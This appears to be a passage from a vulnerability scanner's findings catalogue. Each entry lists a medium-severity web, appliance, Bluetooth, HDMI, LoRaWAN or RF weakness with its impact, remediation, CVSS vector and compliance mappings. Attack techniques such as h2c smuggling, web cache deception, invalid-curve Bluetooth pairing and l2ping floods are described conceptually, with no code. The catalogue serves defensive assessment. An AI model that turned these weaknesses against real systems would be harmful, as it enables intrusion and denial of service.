CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
OWASP Web: A04:2025 Insecure Design
NIST 800-53: SC-5
MEDIUM FR-452 — GraphQL Debug Extensions Exposed
Description: The GraphQL response includes an extensions field containing debug information.
Impact: Debug information reveals internal implementation details, query performance characteristics, and potential injection points.
Remediation: Disable GraphQL debug extensions in production environments.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: CM-7
MEDIUM FR-453 — HTTP/2 Cleartext Upgrade (h2c) Accepted
Description: The server or reverse proxy accepts HTTP/2 cleartext upgrade requests.
Impact: An attacker can use h2c smuggling to bypass proxy-level security controls, WAF rules, and access restrictions.
Remediation: Configure the reverse proxy to reject Upgrade: h2c requests or strip the header before forwarding.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-8
MEDIUM FR-455 — Information Disclosure: Internal IP in HTTP Response
Description: The HTTP response body or headers contain one or more RFC 1918 private IP addresses (10/8, 172.16/12, 192.168/16), disclosing internal network topology.
Impact: An attacker learns internal addressing, which aids lateral-movement planning, infrastructure mapping, and targeted exploitation of internal services.
Remediation: Remove internal IP addresses from HTTP response bodies, error messages, and headers. Configure application error handling to suppress internal details. Review proxy and load-balancer configurations to strip internal addresses from forwarded headers.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1018 (Discovery)
NIST 800-53: SC-8, SI-11
PCI DSS 4: 6.5.10
MEDIUM FR-456 — Application Responses Identify Valid Accounts
Description: Login endpoint responses differ between valid and invalid usernames, allowing attackers to enumerate valid accounts through status codes, body length, error messages, or timing differences.
Impact: An attacker can confirm which usernames exist in the system, enabling targeted credential attacks (brute force, credential stuffing) and social engineering.
Remediation: Return identical responses (status code, body length, content, and timing) for all login attempts regardless of whether the username exists. Use generic error messages like 'Invalid credentials'.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-5
PCI DSS 4: 6.2.4
MEDIUM FR-458 — HTTP Parameter Pollution (Reflected)
Description: Duplicate HTTP parameters are processed and reflected in responses, potentially allowing attackers to bypass input validation or inject malicious content.
Impact: An attacker can inject a second parameter value that overrides or appends to the first, bypassing WAF rules, input filters, or business logic validation.
Remediation: Validate and reject duplicate parameters. Use framework-level parameter parsing that selects only the first occurrence. Encode all reflected user input.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
OWASP Web: A03:2025 Injection
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
MEDIUM FR-459 — Improper Error Handling — Server Error Exposed
Description: Server returns HTTP 5xx error responses with detailed error information including stack traces, database errors, or debug output.
Impact: Detailed error messages disclose implementation details (language, framework, file paths, database type, SQL queries) that aid targeted exploitation.
Remediation: Implement custom error pages that suppress stack traces. Disable debug mode in production. Log detailed errors server-side only.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-11
PCI DSS 4: 6.5.5
MEDIUM FR-460 — Insecure HTTPS to HTTP Redirect Detected
Description: Redirect chains downgrade from HTTPS to HTTP, exposing session tokens, credentials, and sensitive data to network-level interception.
Impact: An attacker performing a man-in-the-middle attack can intercept credentials, session tokens, and sensitive data transmitted over the unencrypted HTTP connection.
Remediation: Ensure all redirects maintain HTTPS. Configure HSTS to prevent protocol downgrades. Review server redirect configurations.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
MEDIUM FR-460b — Form Submits to HTTP from HTTPS Page
Description: Forms on HTTPS pages submit data to HTTP endpoints, exposing form data (potentially including credentials) to network interception.
Impact: Credentials or sensitive data submitted through the form travel over unencrypted HTTP, vulnerable to man-in-the-middle interception.
Remediation: Change all form action URLs to use HTTPS. Enable HSTS.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
MEDIUM FR-470 — Sensitive Data Exposed in HTML Comments
Description: HTML comments in page source contain sensitive keywords such as passwords, API keys, connection strings, or tokens.
Impact: Credentials, API keys, or connection strings in HTML comments are visible to any user viewing page source, enabling direct account or service compromise.
Remediation: Remove sensitive data from HTML comments. Implement build processes that strip comments from production output. Conduct code reviews for comment hygiene.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: SI-11
PCI DSS 4: 6.2.4
MEDIUM FR-473 — WebDAV PROPFIND Response Discloses Server Information
Description: The server responds to unauthenticated PROPFIND requests with WebDAV property data, disclosing file metadata and directory structure.
Impact: Attackers can enumerate server directory structure and file metadata without authentication, mapping the application for targeted attacks.
Remediation: Disable WebDAV on the web server unless required. Restrict PROPFIND to authenticated users. Block PROPFIND at the reverse proxy.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: CM-7
PCI DSS 4: 2.2.4
MEDIUM FR-474 — WebDAV Methods Enabled
Description: The web server advertises WebDAV methods (PROPFIND, MKCOL, COPY, MOVE, LOCK, UNLOCK), enabling remote file manipulation capabilities.
Impact: WebDAV methods can allow unauthenticated file upload, modification, or deletion. Historical vulnerabilities like CVE-2017-7269 demonstrate RCE risk.
Remediation: Disable WebDAV unless explicitly required. If required, enforce authentication and restrict to authorized users only.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1505.003 (Persistence)
NIST 800-53: CM-7
PCI DSS 4: 2.2.4
MEDIUM FR-475 — Password Reset Token Exposed in URL
Description: Password reset functionality includes the reset token in URL query parameters, exposing it in logs, browser history, and Referer headers.
Impact: Reset tokens in URLs can be harvested from server logs, proxy caches, browser history, and Referer headers, enabling account takeover.
Remediation: Transmit reset tokens via POST body or HTTP headers, not URL query parameters. Implement short-lived, single-use tokens.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
MITRE ATT&CK: T1528 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 6.2.4
MEDIUM FR-480 — HTTP Methods: Unsafe Methods Enabled
Description: The server advertises potentially dangerous HTTP methods (PUT, DELETE, TRACE, PATCH, WebDAV) via OPTIONS that may allow file manipulation or cross-site tracing.
Impact: Unsafe methods can enable file upload (PUT), deletion (DELETE), cross-site tracing (TRACE), or remote file manipulation (WebDAV), depending on server configuration.
Remediation: Disable unnecessary HTTP methods in web server configuration. Only allow GET, POST, HEAD, and OPTIONS. Restrict WebDAV methods unless explicitly required.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: CM-7
PCI DSS 4: 2.2.4
MEDIUM FR-483 — Self-Signed TLS Certificate
Description: The server presents a self-signed TLS certificate that is not issued by a trusted Certificate Authority. Self-signed certificates are not validated by browsers or TLS clients by default, indicating the service may not be production-hardened or is using a private PKI without proper trust distribution.
Impact: Users must manually trust the certificate or bypass browser warnings, which normalizes ignoring TLS errors and makes man-in-the-middle attacks feasible. A self-signed certificate on an internet-facing service suggests it may be a development, staging, or unmaintained system with weaker security controls.
Remediation: Replace the self-signed certificate with one issued by a trusted public Certificate Authority (e.g. Let's Encrypt, DigiCert). If a private CA is required, ensure its root certificate is distributed to all intended clients.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8, SC-12
PCI DSS 4: 4.2.1
MEDIUM FR-484 — TLS Certificate Hostname Mismatch
Description: The TLS certificate presented by the server does not match the hostname being accessed. The certificate's Common Name (CN) and Subject Alternative Name (SAN) entries do not include the domain name used to reach the service. This may indicate a misconfiguration, a shared certificate, or a reused certificate from a different service.
Impact: Browsers and TLS clients will reject the connection or display warnings, which users may bypass. A hostname mismatch can indicate the service was deployed hastily, is using a certificate intended for another domain, or is sharing infrastructure with other services — all of which leak information about the environment.
Remediation: Ensure the TLS certificate's Common Name (CN) or Subject Alternative Name (SAN) entries include all hostnames the server is accessed by. Reissue the certificate with the correct domain names if needed.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8, SC-12
PCI DSS 4: 4.2.1
MEDIUM FR-489 — F5 BIG-IP Detected
Description: The TLS certificate fingerprint identifies this host as an F5 BIG-IP appliance. F5 BIG-IP has had critical remote code execution vulnerabilities including CVE-2023-46747 (authentication bypass to RCE) and CVE-2022-1388 (iControl REST unauthenticated RCE).
Impact: An attacker exploiting known F5 BIG-IP vulnerabilities can achieve unauthenticated remote code execution with root privileges on the appliance. As a load balancer/ADC, BIG-IP sits in a privileged network position with visibility into all traffic it proxies, including credentials and session tokens.
Remediation: Verify the F5 BIG-IP is running the latest patched firmware version. Restrict management interface access to trusted networks only. Disable iControl REST on external interfaces if not required.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
MEDIUM FR-491 — Fortinet FortiGate Detected
Description: The TLS certificate fingerprint identifies this host as a Fortinet appliance (FortiGate, FortiWeb, or FortiOS-based). FortiOS has been the target of critical zero-day exploitation including CVE-2024-21762 (out-of-bound write in SSL VPN) and CVE-2023-27997 (heap buffer overflow in SSL VPN, 'XORtigate').
Impact: An attacker can exploit known FortiOS vulnerabilities to achieve pre-authentication remote code execution on the firewall appliance. As a perimeter firewall/VPN, FortiGate sits at the network boundary with full visibility into traffic and provides a pivot point into the internal network.
Remediation: Verify the Fortinet appliance is running the latest patched FortiOS firmware. Disable SSL VPN if not required. Restrict management interfaces to trusted networks. Enable logging and monitor for indicators of compromise.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
MEDIUM FR-492 — Palo Alto Networks Detected
Description: The TLS certificate fingerprint identifies this host as a Palo Alto Networks appliance. PAN-OS has been the target of critical zero-day exploitation including CVE-2024-3400 (GlobalProtect command injection with CVSS 10.0), which was actively exploited before a patch was available.
Impact: An attacker can exploit CVE-2024-3400 to achieve unauthenticated remote code execution with root privileges on the firewall through the GlobalProtect gateway. As a next-generation firewall, Palo Alto devices provide full network visibility and can be used to intercept traffic, modify firewall rules, or pivot into the internal network.
Remediation: Verify the Palo Alto appliance is running the latest patched PAN-OS version. Apply hotfixes for CVE-2024-3400 immediately. Restrict management interface access and disable unused GlobalProtect portals. Monitor for indicators of compromise using Palo Alto's threat prevention signatures.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
MEDIUM FR-493 — SonicWall Detected
Description: The TLS certificate fingerprint identifies this host as a SonicWall appliance. SonicWall has had critical vulnerabilities including CVE-2024-40766 (improper access control in SonicOS management and SSLVPN) which was actively exploited by ransomware operators.
Impact: An attacker can exploit known SonicWall vulnerabilities to gain unauthorized access to the firewall management interface or VPN services. SonicWall appliances are perimeter security devices and their compromise provides direct access to the internal network.
Remediation: Verify the SonicWall appliance is running the latest patched firmware version. Restrict SSLVPN and management interface access. Enable MFA for all VPN connections. Monitor for unauthorized access attempts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
MEDIUM FR-494 — Cisco ASA Detected
Description: The TLS certificate fingerprint identifies this host as a Cisco Adaptive Security Appliance (ASA). Cisco ASA is a widely-deployed firewall/VPN platform that has had numerous critical vulnerabilities over its lifetime, including path traversal, authentication bypass, and remote code execution flaws.
Impact: A Cisco ASA appliance at the network perimeter provides firewall, VPN, and NAT services. Its compromise gives an attacker the ability to modify access control rules, intercept VPN traffic, and pivot into the internal network. ASA's WebVPN and AnyConnect components have historically been targeted.
Remediation: Verify the Cisco ASA is running the latest patched firmware version. Restrict management access to trusted networks. Disable unused VPN profiles and WebVPN features. Monitor syslog for unauthorized access attempts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
MEDIUM FR-495 — VMware vSphere / ESXi Detected
Description: The TLS certificate fingerprint identifies this host as a VMware vSphere, vCenter, or ESXi host. VMware hypervisor products have been targeted by critical vulnerabilities and are high-value targets for ransomware operators who encrypt entire virtual machine datastores.
Impact: Compromise of a VMware hypervisor gives an attacker control over all virtual machines running on it, including the ability to access VM disks, snapshot memory, and intercept network traffic between VMs. ESXi-targeting ransomware (e.g. ESXiArgs) can encrypt entire datastores, taking down all hosted services simultaneously.
Remediation: Verify VMware ESXi/vCenter is running the latest patched version. Restrict management interfaces (port 443, 902) to a dedicated management VLAN. Disable SSH on ESXi hosts unless actively needed. Enable lockdown mode on ESXi hosts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
MEDIUM FR-496 — Sophos Firewall Detected
Description: The TLS certificate fingerprint identifies this host as a Sophos firewall appliance (XG Firewall, Sophos Firewall OS, or legacy Cyberoam). Sophos firewalls have had critical vulnerabilities including SQL injection and code injection flaws in their user portal and management interfaces.
Impact: An attacker exploiting Sophos firewall vulnerabilities can gain unauthorized access to the firewall management interface, modify security policies, and potentially achieve remote code execution. As a perimeter device, compromise provides a pivot point into the internal network and visibility into all traversing traffic.
Remediation: Verify the Sophos firewall is running the latest firmware version. Disable the User Portal on WAN-facing interfaces if not required. Restrict management access to trusted internal networks only. Enable automatic hotfix installation.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
MEDIUM FR-501 — SSTI — Template Engine Identified
Description: SSTImap identified the template engine in use on the target application (e.g., Jinja2, Twig, Freemarker, Mako, Velocity, Smarty) but was unable to achieve code execution. The engine may have sandboxing or input filtering that prevents exploitation, but the presence of a detectable engine suggests user input reaches the template layer.
Impact: Template engine identification narrows the attack surface for targeted exploitation. Even if SSTImap could not achieve RCE, manual techniques or future bypass discoveries may succeed. The detection confirms that user input interacts with the template engine, which is a prerequisite for SSTI attacks.
Remediation: Ensure the template engine is properly sandboxed with restricted directive capabilities. Verify that user input does not reach template rendering functions. Apply input sanitization and output encoding at the template layer.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A03:2025 Injection
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
MEDIUM FR-505 — Web Cache Deception
Description: toxicache detected that the web cache serves incorrect content to users due to path confusion or misconfigured caching rules. An attacker can craft URLs that cause the cache to store authenticated or personalized content and serve it to other users, or serve static content in place of dynamic responses.
Impact: Web cache deception can expose authenticated content (account pages, API responses with tokens, personal data) to unauthenticated users. An attacker tricks a victim into visiting a crafted URL that caches their authenticated response, then retrieves that cached content. This can leak session tokens, personal information, and CSRF tokens.
Remediation: Configure proper cache rules per content type. Never cache authenticated or personalized responses. Set Cache-Control: no-store on all dynamic/authenticated pages. Normalize URL paths before cache key generation to prevent path confusion attacks.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8
PCI DSS 4: 6.2.4
MEDIUM FR-507 — Session Token Exposed in URL
Description: Session-related parameter(s) appear in the URL query string. Tokens in URLs leak through browser history, Referer headers, proxy logs, and server access logs.
Impact: An attacker who obtains the URL (via Referer header, shared link, browser history, or proxy logs) gains immediate authenticated access to the victim's session without needing to compromise cookies or credentials directly.
Remediation: Transmit session tokens only via cookies (with Secure, HttpOnly, SameSite attributes) or Authorization headers. Never embed session identifiers in URL query parameters or path segments.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
MITRE ATT&CK: T1539 (Credential Access)
NIST 800-53: SC-23
PCI DSS 4: 6.2.4
MEDIUM FR-508 — Session Token in Page Links
Description: Page links embed session tokens in URL query parameters within href attributes, leaking tokens through Referer headers when users navigate to external sites.
Impact: Session tokens are transmitted to third-party servers via Referer headers when users click external links, allowing third parties or network observers to hijack user sessions.
Remediation: Remove session tokens from all hyperlinks. Use cookie-based session management exclusively. Set Referrer-Policy to no-referrer or same-origin.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: SC-23
PCI DSS 4: 6.2.4
MEDIUM FR-512 — JWT Missing Expiration Claim
Description: A JWT token has no 'exp' (expiration) claim. Without expiration, a stolen token remains valid indefinitely.
Impact: A stolen or leaked JWT can be replayed indefinitely since it never expires, giving an attacker persistent unauthorized access until the signing key is rotated or the token is explicitly blacklisted.
Remediation: Include an 'exp' claim in all JWTs with a reasonable lifetime (15 minutes for access tokens, hours for refresh tokens). Validate expiration server-side on every request.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1550.001 (Lateral Movement)
NIST 800-53: IA-5, AC-12
PCI DSS 4: 8.2.8
MEDIUM FR-514 — JWT Contains Sensitive Data
Description: A JWT payload contains sensitive fields (passwords, SSNs, credit card numbers). JWT payloads are base64url-encoded (not encrypted) and readable by anyone with access to the token.
Impact: Sensitive information embedded in the JWT is exposed to anyone who intercepts the token (via logs, browser storage, network capture, or Referer headers). This is a direct data exposure vulnerability since JWTs are not encrypted by default.
Remediation: Remove sensitive data from JWT payloads. Store sensitive data server-side and reference it by ID. Use JWE (encrypted JWT) if payload confidentiality is required.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
OWASP API: API3:2023 Broken Object Property Level Authorization
NIST 800-53: SC-28
PCI DSS 4: 3.4.1
MEDIUM FR-516 — Session Persists After Password Change
Description: Existing sessions remain valid after a password change. If an attacker has compromised a session, changing the password does not revoke their access.
Impact: A user who changes their password to recover from a compromise cannot fully revoke attacker access. The compromised session persists, and the attacker retains authenticated access until natural session expiry.
Remediation: Invalidate all existing sessions for the user when their password is changed. Force re-authentication on all devices.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
MITRE ATT&CK: T1539 (Credential Access)
NIST 800-53: AC-12
PCI DSS 4: 8.2.8
MEDIUM FR-517 — Excessive Session Cookie Lifetime
Description: A session cookie has an excessively long lifetime (>30 days), increasing the window for session hijacking via stolen cookies.
Impact: Extremely long-lived session cookies remain valid for weeks or months, giving attackers an extended window to exploit stolen cookies. Even if the user logs out from one device, the cookie on another compromised device remains usable.
Remediation: Set session cookie Max-Age/Expires to a reasonable duration (4-8 hours for standard apps, shorter for sensitive apps). Implement absolute server-side session timeout independent of cookie expiry.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: AC-12
PCI DSS 4: 8.2.8
MEDIUM FR-518 — Missing Referrer-Policy With External Links
Description: The authenticated page contains external links but no Referrer-Policy header is set. Browsers default to sending the full URL as the Referer header when users click external links, potentially leaking session tokens or sensitive URL parameters.
Impact: Session tokens, CSRF tokens, or other sensitive URL parameters are transmitted to third-party servers via the Referer header when users click external links. Third parties can use leaked tokens for session hijacking.
Remediation: Set Referrer-Policy header to 'strict-origin-when-cross-origin' or 'no-referrer' to prevent URL leakage. Apply via HTTP header or <meta> tag.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: SC-23
PCI DSS 4: 6.2.4
MEDIUM GB-BT-004 — Static or Public Bluetooth Address — Device Trackable
Description: The device advertises with a Public or Static-Random Bluetooth address that does not rotate, rather than a rotating Resolvable Private Address (RPA).
Impact: A stable address lets any passive listener track and correlate a body-worn or clinical device (and by extension a patient) across time and location, and leaks the OUI/vendor.
Remediation: Enable LE Privacy with frequently-rotating Resolvable Private Addresses; distribute the IRK only to bonded peers.
MEDIUM GB-BT-012 — Bluetooth ECDH Public Key Not Validated (CVE-2018-5383)
Description: The pairing stack does not validate the peer's ECDH public key (Y-coordinate) during Secure Simple Pairing / LE Secure Connections, allowing a fixed-coordinate invalid-curve attack.
Impact: An in-range MITM present during pairing can force the shared secret into a small subgroup and recover the session key (~50% per attempt, retryable), fully compromising the session.
Remediation: Update to post-2018 firmware/OS that mandates ECDH public-key on-curve validation.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
MEDIUM GB-BT-016 — BLURtooth — Cross-Transport Key Overwrite (CVE-2020-15802)
Description: In dual-mode devices supporting Cross-Transport Key Derivation (spec 4.2/5.0 before 5.1), an unauthenticated attacker in range can trigger CTKD to overwrite an authenticated bonding key with an unauthenticated or lower-entropy one.
Impact: The paired relationship can be silently weakened without user interaction, enabling MITM on a link the user believes is securely bonded.
Remediation: Apply BT 5.1 CTKD restrictions that forbid overwriting authenticated keys or downgrading key strength.
MEDIUM GB-BT-026 — BlueSmack / L2CAP Echo Denial of Service
Description: The device degraded or reset under a bounded L2CAP echo / l2ping flood (BlueSmack), indicating it does not bound or rate-limit oversized echo requests.
Impact: An in-range attacker who knows the BD_ADDR can hang or reboot the device, denying service — critical for a safety or clinical device.
Remediation: Patch the stack for input-length validation; rate-limit/throttle L2CAP echo and connection requests; make the radio non-connectable when unused.
NIST 800-53: SC-5
MEDIUM GB-BT-027 — Bluetooth Connection Exhaustion / l2ping Flood
Description: Rapid L2CAP/ACL connection opens or a sustained l2ping flood exhausted the device's connection slots, causing it to refuse or reset connections.
Impact: An in-range attacker can deny service to legitimate centrals by consuming all available connection resources.
Remediation: Rate-limit inbound connection requests, cap concurrent connections, and recover gracefully; make the radio non-connectable when idle.
NIST 800-53: SC-5
MEDIUM GB-CONF-002 — Plaintext Protocol in Boot Traffic
Description: Traffic captured during device boot revealed cleartext protocols (Telnet, HTTP, FTP, TFTP) carrying potentially sensitive data including configuration pulls or update checks.
Remediation: Replace plaintext boot-time protocols with TLS-protected equivalents. Use HTTPS for firmware update checks, SFTP for configuration retrieval.
MEDIUM GB-CONF-003 — Plaintext Protocol in Shutdown Traffic
Description: Traffic captured during device shutdown contained plaintext protocol traffic, potentially including final state synchronisation or credential exchange.
Remediation: Review and encrypt all shutdown-phase network communication.
MEDIUM GB-HW-001 — HDMI CEC Command Injection Accepted
Description: Injected HDMI CEC commands were accepted and processed. An attacker with HDMI port access can issue remote control commands or exploit CEC stack vulnerabilities.
Remediation: Disable CEC in firmware if not required. Apply command filtering to reject unauthorised CEC commands.
MEDIUM GB-HW-002 — HDMI HDCP Not Enforced
Description: HDCP content protection is not enforced on the HDMI interface. Video/audio streams can be captured in cleartext.
Remediation: Enable HDCP enforcement in device firmware.
MEDIUM GB-HW-003 — HDMI DDC-CI Unauthorised Control
Description: DDC-CI commands accepted over HDMI allow monitor control (brightness, OSD) without physical interaction with the display.
Remediation: Disable DDC-CI in display firmware if remote monitor control is not required.
MEDIUM GB-HW-006 — DDC/CI Display Control Channel Accessible
Description: The DDC/CI (Display Data Channel Command Interface) channel over HDMI or DisplayPort is accessible and accepts control commands without authentication. An attacker with physical or software access to the video source can issue DDC/CI commands to adjust brightness, contrast, input selection, colour profiles, and power state of the connected display, or to read monitor asset information (MCCS capabilities). In environments with strict physical security requirements, uncontrolled display manipulation represents a tangible risk.
Remediation: Disable DDC/CI in display firmware or OSD settings where remote monitor control is not operationally required. Apply application-layer access controls to software DDC/CI tools (e.g., ddcutil on Linux). For high-security deployments, use video switches that do not forward DDC/CI signals.
MEDIUM GB-LORA-008 — LoRaWAN Cleartext Application Payload
Description: The captured FRMPayload decodes to printable/structured data and the application relies solely on LoRaWAN's session-key FRMPayload encryption, with no independent end-to-end application-layer encryption.
Impact: Any holder of the session keys — the network server, a compromised join server, or an attacker who recovered a weak/default key — reads the plaintext, and for raw or misconfigured payloads a passive listener may read it directly.
Remediation: Add end-to-end application-layer encryption/authentication (e.g. AES-GCM with a key held only by the device and the application server) so LoRaWAN network operators cannot read or forge sensitive payloads.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1040 (Discovery)
NIST 800-53: SC-8, SC-13
PCI DSS 4: 4.2.1
MEDIUM GB-LORA-009 — LoRaWAN 1.0.x — No Join-Request Replay Protection
Description: The network operates LoRaWAN 1.0.x, in which Join-Request messages carry no replay protection prior to the 1.1 monotonic DevNonce counter — a protocol-version exposure applying to every OTAA device on the network.
Impact: The version gap leaves all OTAA joins susceptible to nonce reuse and Join-Request replay, providing a standing foothold for denial-of-service and session-reset attacks independent of any single observed replay.
Remediation: Migrate the network server and end devices to LoRaWAN 1.1, which adds monotonic DevNonce handling and join-server nonce tracking; until then, maximise the DevNonce cache and monitor for repeated joins.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
MITRE ATT&CK: T1040 (Discovery), T1557 (Credential Access)
NIST 800-53: SC-23
PCI DSS 4: 6.2.4
MEDIUM GB-NET-005 — Deprecated or Weak Protocol in Use
Description: A deprecated or inherently weak network protocol was identified (e.g., RPC portmapper, rsh, rlogin, finger, X11 without auth, TFTP). These protocols provide no confidentiality or authentication.
Remediation: Disable deprecated protocol services. Replace with modern, authenticated, encrypted equivalents.
MEDIUM GB-NET-011 — Unencrypted Protocol Detected
Description: A network service communicating over a cleartext protocol was identified, including one or more of: FTP (21), Telnet (23), HTTP (80), TFTP (69), rsh (514), rlogin (513), rexec (512), or finger (79). Cleartext protocols transmit all data — including authentication credentials, session tokens, and sensitive application data — in a form readable by any attacker with network access, whether via passive interception on a shared segment or an active man-in-the-middle position.
Remediation: Replace cleartext protocols with encrypted equivalents: SSH for remote administration, SFTP/FTPS for file transfer, HTTPS for web services, SNMPv3 for network management. If cleartext protocols cannot be immediately replaced, apply network segmentation and access control to limit exposure, and implement monitoring for credential interception.
MEDIUM GB-RF-002 — Unencrypted Sub-GHz Telemetry Decoded
Description: rtl_433 decoded the device's sub-GHz sensor/telemetry frames in the clear, recovering payload fields with no key, which proves the link carries device data with no transport encryption.
Impact: Any passive attacker in radio range can read, log, and correlate the device's telemetry over time, disclosing operational state and potentially sensitive (PHI/asset) data without ever touching the device.
Remediation: Encrypt the RF payload with an authenticated cipher, or carry sensitive telemetry over an authenticated encrypted channel; never transmit patient or asset data as cleartext RF.
Effort: Moderate
